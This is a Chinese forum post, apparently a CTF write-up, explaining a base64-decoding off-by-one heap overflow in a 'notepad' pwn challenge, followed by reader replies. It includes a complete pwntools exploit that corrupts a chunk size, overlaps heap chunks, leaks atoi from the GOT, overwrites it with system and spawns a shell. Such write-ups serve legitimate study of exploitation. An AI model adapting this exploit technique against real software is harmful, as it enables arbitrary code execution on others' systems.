钞sir 发表于 2020-11-5 20:13

off-by-one


# 简介
`off-by-one`漏洞在堆分配时有比较大的威胁, 在`pwn`中利用比较常见, 这里介绍一个由`base64`解码造成的off-by-one漏洞, 这个漏洞在(https://www.freebuf.com/vuls/166519.html)当中是真实存在的, 这里以一个ctf中的pwn题目(https://wws.lanzouj.com/i58M9i2mp3a)来介绍一下利用过程;

# 前置知识
原理在分析程序之前先介绍一下`Base64`的编码和解码的原理;
## Base64编码
Base64编码的原理是将二进制数据进行分组,每`24Bit`(即3字节)为一个大组,再把一个大组的数据分成`4`个`6Bit`的小分组;
因为6bit数据只能表示64个不同的字符(2^6=64),这64个字符分别对应ASCII码表中的`'A'-'Z','a'-'z','0''9','+'和'/'`; 这些字符的对应关系是由Base64字符集决定的;
因为小分组中的`6Bit`数据表示起来不符合计算机的操作习惯,所以要把每个小分组进行`高位补零`操作,这样的话每个小分组就构成了一个`8Bit`(1字节)的数据; 在补零操作完成后, 就是将小分组的内容作为Base64字符集的下标,然后一一替换成对应的ASCII字符, 编码工作就完成了;
但是这里面仍然有需要解决的细节问题:
  在编码之前我们无法保证需要编码的字符串长度是3的倍数,所以为了让编码能够顺利进行就必须在获取编码字符串的同时判断字符串的长度是否是3的倍数,如果是3的倍数编码就可以正常进行,如果不是3的倍数就要进行补零的操作,就是要在不足3的倍数的字符串末尾用`\x00`进行填充;
  这样虽然解决了字符串长度不足的问题了,但是同时也引进了另一个新的问题,那就是末尾补充上的`\x00`在进行Base64字符集替换的时候会与字符集中的`'A'`字符发生冲突; 因为字符集中的下标0对应的字符是`'A'`,而末尾填充上的`\x00`在分组补零后同样是下标0,这样就无法分辨出到底是末尾填充的`\x00`还是二进制数据中的`0x00`; 所以为了解决这个问题我们就必须引入Base64字符集外的新字符来区分末尾补充上的`\x00`,这就是`'='`字符不在Base64字符集中,但是也出现在Base64编码的原因了,'='字符在一个Base64编码的末尾中最多会出现两个,如果不符合这以规则那么这个Base64就可能是错误的或被修改过;
!(https://img-blog.csdnimg.cn/20201105130925831.png#pic_center)
## Base64解码
Base64解密的工作原理相对来说就比较简单了,只需要和加密操作方式相反即可;
  首先将Base64编码根据其对应的字符集转换成下标,这就是补完零后的8Bit(1字节)数据; 在编码操作有补零操作那自然解码操作时就会有去零操作了,我们将这些`8Bit`数据的`最高位`上的两个`0`抹去形成`6Bit`数据,这也就是前面我们编码操作中提到过的小分组; 最后将每`4`个`6Bit`数据进行合并形成`24Bit`的大分组,然后将这些大分组按照每组`8Bit`进行拆分就会得到3个8Bit的数据,此时的8Bit数据就是加密前的数据了, 解码工作好完成了;

# 题目分析
## checksec
!(https://img-blog.csdnimg.cn/20201105150115983.png#pic_left)
题目主要有4个功能:
!(https://img-blog.csdnimg.cn/20201105150542695.png#pic_left)
主要用于添加, 显示, 修改和删除一个`note`, 所有数据的修改都是在基于堆的;
## 漏洞点
这个程序的漏洞主要在于密码的内存空间的分配上面, 程序是将我们输入的`password`进行`base64解码`后存在堆中的:
!(https://img-blog.csdnimg.cn/20201105151307183.png#pic_center)
!(https://img-blog.csdnimg.cn/2020110515135523.png#pic_center)
这里面的`v2`就是我们输入的`password`的长度, base64解码的逻辑是把4个字节当做一组,4个字节解码成3个字节, 所以这里如果我们传入的密文长度为`4n + 3`字节, 则函数会将最后三个字节解码为两个字节, 最终明文长度为`3n+2`个字节, 但是分配的堆空间的大小为`3n+1`个字节, 所以这里就会发生`off-by-one`了;
取个例子:
比如我们设置密码为`MTIz`时, 解密出来在内存中是`0x0000000000333231`, 即字符串`123`, 此时密码长度为`4`:
!(https://img-blog.csdnimg.cn/20201105161216729.png#pic_center)
当我们重新设置密码为`MTIzMTI`时, 即在`MTIz`后面加了`3`个字节,符合`4n+1`的公式, 此时密码解密出是`0x0000003231333231`, 即字符串`12312`了
!(https://img-blog.csdnimg.cn/20201105161436788.png#pic_center)
但是这里没有发生溢出的原因是因为堆在分配内存的时候后有一个内存空间补齐的操作, 只要我们构造合适长度的`password`就可以造成溢出了;
这个密码可以使用:
```python
pay = base64.b64encode(b"a"*0x88+b"\xc1")[:-1] + b"\x00"
```
其中`\xc1`就是溢出的那个字节;

# 利用思路
`off-by-one`的总体利用思路其实就是利用堆`A`的溢出, 修改下一个堆`B`的`size`位, 将堆`B`的大小变大, 从而包含堆'B'的后面一个或多个堆, 然后`free`掉堆`B`, 在申请一个大小合适的堆, 结合程序的具体功能我们就可以修改堆中的指针了;
而本程序就是包含堆之后去修改`password`和`content`的指针, 从而泄露出`got`表中`atoi`函数的内容, 计算出`system`函数地址并修改, 控制程序流程;
首先分配`5`个堆, 然后`free`第2,和第1个:
```python
addnote("1"*0x10, passwd, 0x10, "a"*8)   # 1
addnote("2"*0x10, passwd, 0x100, "a"*8)    # 2
addnote("3"*0x10, passwd, 0x10, "a"*8)   # 3
addnote("4"*0x10, passwd, 0x10, "a"*8)   # 4
addnote("5"*0x10, passwd, 0x10, "a"*8)   # 5

delnote("2"*0x10, passwd)
delnote("1"*0x10, passwd)
```
此时内存堆分布如下:
!(https://img-blog.csdnimg.cn/20201105165232618.png#pic_center)
注意红框的部分, 接下来我们要从这个堆里面分一部分出来存放`password`, 然后利用`off-by-one`溢出覆盖下个堆的`size`;
```python
delnote("2"*0x10, passwd)
delnote("1"*0x10, passwd)

pay = base64.b64encode(b"a"*0x88+b"\xc1")[:-1] + b"\x00"
addnote("2"*0x10, pay, 0x10, "q"*8)    # 2
```
通过下面这个两个图可以看出如果没有`off-by-one`的内存分布:
未溢出时:
!(https://img-blog.csdnimg.cn/20201105165738412.png#pic_center)
可以看出未分配的堆大小为`0x80`;
溢出后:
!(https://img-blog.csdnimg.cn/20201105170004942.png#pic_center)
可以看到我们把未分配的堆大小修改为`0xc0`了, 也就是说我们把下面的已经分配的堆也分配进去了, 所以下一次我们申请堆的时候可以把已经分配的堆的也包含进去, 从而可以修改指针了;

# EXP
```python
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
name = "./notepad"
p = process(name)
elf = ELF(name)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if args.G:
    gdb.attach(p)
   
def addnote(name, passwd, size, data):
    p.recvuntil("choice> ")
    p.sendline("1")
    p.recvuntil("name> ")
    p.send(name)
    p.recvuntil("1:yes, 0:no)> ")
    p.sendline("1")
    p.recvuntil("password> ")
    p.sendline(str(passwd, encoding="utf-8"))
    p.recvuntil("content size> ")
    p.sendline(str(size))
    p.recvuntil("content> ")
    p.sendline(data)

def shownote(name, passwd):
    p.recvuntil("choice> ")
    p.sendline("2")
    p.recvuntil("name> ")
    p.send(name)
    p.recvuntil("password> ")
    p.sendline(str(passwd, encoding="utf8"))

def editnote(name, passwd, newpasswd, size, data):
    p.recvuntil("choice> ")
    p.sendline("3")
    p.recvuntil("name> ")
    p.send(name)
    p.recvuntil("password> ")
    p.sendline(str(passwd, encoding="utf8"))
    p.recvuntil("1:yes, 0:no)> ")
    p.sendline("0")
    # p.recvuntil("password> ")
    # p.sendline(str(newpasswd, encoding="utf8"))
    p.recvuntil("content size> ")
    p.sendline(str(size))
    p.recvuntil("content> ")
    p.send(data)

def delnote(name, passwd):
    p.recvuntil("choice> ")
    p.sendline("4")
    p.recvuntil("name> ")
    p.send(name)
    p.recvuntil("password> ")
    p.sendline(str(passwd, encoding="utf8"))
   
passwd = base64.b64encode(b"sir")
newpasswd = base64.b64encode(b"cc-sir")
addnote("1"*0x10, passwd, 0x10, "a"*8)   # 1
addnote("2"*0x10, passwd, 0x100, "a"*8)    # 2
addnote("3"*0x10, passwd, 0x10, "a"*8)   # 3
addnote("4"*0x10, passwd, 0x10, "a"*8)   # 4
addnote("5"*0x10, passwd, 0x10, "a"*8)   # 5

delnote("2"*0x10, passwd)        # delete 2
delnote("1"*0x10, passwd)        # delete 1
pay = base64.b64encode(b"a"*0x88+b"\xc1")[:-1] + b"\x00"
addnote("2"*0x10, pay, 0x100, "q"*8)    # off-by-one   修改堆的大小
payload = b"s"*0x78 + p64(0x31) + b"c"*0x10 + p64(0x401981) + p64(0x602090)
addnote("6"*0x10, passwd, 0xb0, payload)    # 6 包含后面的堆
   
shownote("c"*0x10, base64.b64encode(b"choice> "))
atoi_addr = u64(p.recv(6) + b"\x00\x00")
system_addr = atoi_addr + 0xb200
print("atoi_addr: " + hex(atoi_addr))
print("system_addr: " + hex(system_addr))

editnote("c"*0x10, base64.b64encode(b"choice> "), newpasswd, 8, p64(system_addr))
p.recvuntil("choice> ")
p.sendline("/bin/sh\x00")
p.interactive()
```
运行结果:
!(https://img-blog.csdnimg.cn/20201105170425462.png#pic_center)

gcode 发表于 2020-11-5 20:28

太强了, 学习了

bluerabbit 发表于 2020-11-5 20:42

学习了,谢谢分享

nj001 发表于 2020-11-5 22:40

厉害啊,linux调试太麻烦了

刀大喵 发表于 2020-11-6 15:48

这就是我学不好逆向的原因 头大

hysh 发表于 2020-11-9 08:01

认真学习讨论,用心提升

yhtg 发表于 2020-11-9 09:54

仰望大佬,真厉害

lifz888 发表于 2020-11-10 09:24

非常好的 学习资料,支持分享
页: [1]
查看完整版本: off-by-one